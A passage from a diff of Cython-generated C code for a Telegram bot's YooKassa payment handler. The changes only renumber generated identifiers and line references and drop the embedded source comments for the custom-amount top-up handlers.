__Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 236, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 247, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -8249,7 +7696,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; - __pyx_r = __pyx_pf_8handlers_8payments_12yookassa_pay_9process_enter_custom_amount(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + __pyx_r = __pyx_pf_8handlers_8payments_12yookassa_pay_12process_enter_custom_amount(__pyx_self, __pyx_v_callback_query, __pyx_v_state); /* function exit code */ { @@ -8262,19 +7709,19 @@ PyObject *__pyx_args, PyObject *__pyx_kwds return __pyx_r; } -static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_9process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { - struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *__pyx_cur_scope; +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_12process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount *__pyx_cur_scope; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; __Pyx_RefNannySetupContext("process_enter_custom_amount", 0); - __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount, __pyx_empty_tuple, NULL); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount, __pyx_empty_tuple, NULL); if (unlikely(!__pyx_cur_scope)) { - __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *)Py_None); + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 236, __pyx_L1_error) + __PYX_ERR(0, 247, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -8285,7 +7732,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_9process_enter_cust __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_11generator3, __pyx_codeobj__14, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 236, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_14generator4, __pyx_codeobj__17, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 247, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -8301,9 +7748,9 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_9process_enter_cust return __pyx_r; } -static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ { - struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *)__pyx_generator->closure); + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount *)__pyx_generator->closure); PyObject *__pyx_r = NULL; PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; @@ -8325,16 +7772,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_ return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 236, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 247, __pyx_L1_error) - /* "handlers/payments/yookassa_pay.py":240 - * callback_query: types.CallbackQuery, state: FSMContext - * ): - * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< - * builder.row(InlineKeyboardButton(text=BACK, callback_data="pay_yookassa")) - * - */ - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 240, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; __pyx_t_4 = 0; @@ -8354,7 +7794,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 240, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -8362,25 +7802,18 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_ __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":241 - * ): - * builder = InlineKeyboardBuilder() - * builder.row(InlineKeyboardButton(text=BACK, callback_data="pay_yookassa")) # <<<<<<<<<<<<<< - * - * await callback_query.message.answer( - */ - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 241, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 241, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 241, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_BACK); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 241, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_BACK); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 241, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_data, __pyx_n_u_pay_yookassa) < 0) __PYX_ERR(0, 241, __pyx_L1_error) - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 241, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_data, __pyx_n_u_pay_yookassa) < 0) __PYX_ERR(0, 252, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; @@ -8403,35 +7836,21 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_ __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 241, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":243 - * builder.row(InlineKeyboardButton(text=BACK, callback_data="pay_yookassa")) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * ", .", - * reply_markup=builder.as_markup(), - */ - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 243, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 243, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":245 - * await callback_query.message.answer( - * ", .", - * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< - * ) - * - */ - __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 245, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 256, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 245, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 256, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = NULL; __pyx_t_4 = 0; @@ -8451,21 +7870,14 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 245, __pyx_L1_error) + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 256, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 245, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 256, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - /* "handlers/payments/yookassa_pay.py":243 - * builder.row(InlineKeyboardButton(text=BACK, callback_data="pay_yookassa")) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * ", .", - * reply_markup=builder.as_markup(), - */ - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__16, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 243, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__19, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -8480,27 +7892,20 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_ __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L4_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 243, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 254, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 243, __pyx_L1_error) + else __PYX_ERR(0, 254, __pyx_L1_error) } } - /* "handlers/payments/yookassa_pay.py":248 - * ) - * - * await state.set_state(ReplenishBalanceState.entering_custom_amount_yookassa) # <<<<<<<<<<<<<< - * - * - */ - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 248, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 259, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 248, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 259, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_entering_custom_amount_yookassa); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 248, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_entering_custom_amount_yookassa); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 259, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; @@ -8522,7 +7927,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_ __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 248, __pyx_L1_error) + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 259, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -8537,23 +7942,16 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_ __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L5_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 248, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 259, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 248, __pyx_L1_error) + else __PYX_ERR(0, 259, __pyx_L1_error) } } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/yookassa_pay.py":236 - * - * - * @router.callback_query(F.data == "enter_custom_amount_yookassa") # <<<<<<<<<<<<<< - * async def process_enter_custom_amount( - * callback_query: types.CallbackQuery, state: FSMContext - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -8576,26 +7974,19 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_ __Pyx_RefNannyFinishContext(); return __pyx_r; } -static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/yookassa_pay.py":252 - * - * - * @router.message(ReplenishBalanceState.entering_custom_amount_yookassa) # <<<<<<<<<<<<<< - * async def process_custom_amount_input(callback_query: types.CallbackQuery | types.Message, session: Any): - * conn = await asyncpg.connect(DATABASE_URL) - */ /* Python wrapper */ -static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_13process_custom_amount_input(PyObject *__pyx_self, +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_16process_custom_amount_input(PyObject *__pyx_self, #if CYTHON_METH_FASTCALL PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds #else PyObject *__pyx_args, PyObject *__pyx_kwds #endif ); /*proto*/ -static PyMethodDef __pyx_mdef_8handlers_8payments_12yookassa_pay_13process_custom_amount_input = {"process_custom_amount_input", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yookassa_pay_13process_custom_amount_input, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; -static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_13process_custom_amount_input(PyObject *__pyx_self, +static PyMethodDef __pyx_mdef_8handlers_8payments_12yookassa_pay_16process_custom_amount_input = {"process_custom_amount_input", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yookassa_pay_16process_custom_amount_input, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_16process_custom_amount_input(PyObject *__pyx_self, #if CYTHON_METH_FASTCALL PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds #else @@ -8642,7 +8033,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 252, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 263, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -8650,14 +8041,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 252, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 263, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 252, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 263, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_input") < 0)) __PYX_ERR(0, 252, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_input") < 0)) __PYX_ERR(0, 263, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 2)) { goto __pyx_L5_argtuple_error; @@ -8670,7 +8061,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 252, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 263, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -8684,7 +8075,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; - __pyx_r = __pyx_pf_8handlers_8payments_12yookassa_pay_12process_custom_amount_input(__pyx_self, __pyx_v_callback_query, __pyx_v_session); + __pyx_r = __pyx_pf_8handlers_8payments_12yookassa_pay_15process_custom_amount_input(__pyx_self, __pyx_v_callback_query, __pyx_v_session); /* function exit code */ { @@ -8697,19 +8088,19 @@ PyObject *__pyx_args, PyObject *__pyx_kwds return __pyx_r; } -static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_12process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, CYTHON_UNUSED PyObject *__pyx_v_session) { - struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *__pyx_cur_scope; +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_15process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, CYTHON_UNUSED PyObject *__pyx_v_session) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input *__pyx_cur_scope; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; __Pyx_RefNannySetupContext("process_custom_amount_input", 0); - __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input, __pyx_empty_tuple, NULL); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input, __pyx_empty_tuple, NULL); if (unlikely(!__pyx_cur_scope)) { - __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *)Py_None); + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 252, __pyx_L1_error) + __PYX_ERR(0, 263, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -8720,7 +8111,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_12process_custom_am __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_14generator4, __pyx_codeobj__17, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_input, __pyx_n_s_process_custom_amount_input, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 252, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_17generator5, __pyx_codeobj__20, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_input, __pyx_n_s_process_custom_amount_input, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 263, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -8736,9 +8127,9 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_12process_custom_am return __pyx_r; } -static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ { - struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *)__pyx_generator->closure); + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input *)__pyx_generator->closure); PyObject *__pyx_r = NULL; PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; @@ -8791,21 +8182,14 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 252, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 263, __pyx_L1_error) - /* "handlers/payments/yookassa_pay.py":254 - * @router.message(ReplenishBalanceState.entering_custom_amount_yookassa) - * async def process_custom_amount_input(callback_query: types.CallbackQuery | types.Message, session: Any): - * conn = await asyncpg.connect(DATABASE_URL) # <<<<<<<<<<<<<< - * try: - * if isinstance(callback_query, types.CallbackQuery): - */ - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_asyncpg); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 254, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_asyncpg); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 265, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_connect); if (unlikely(!__pyx_t_3)) 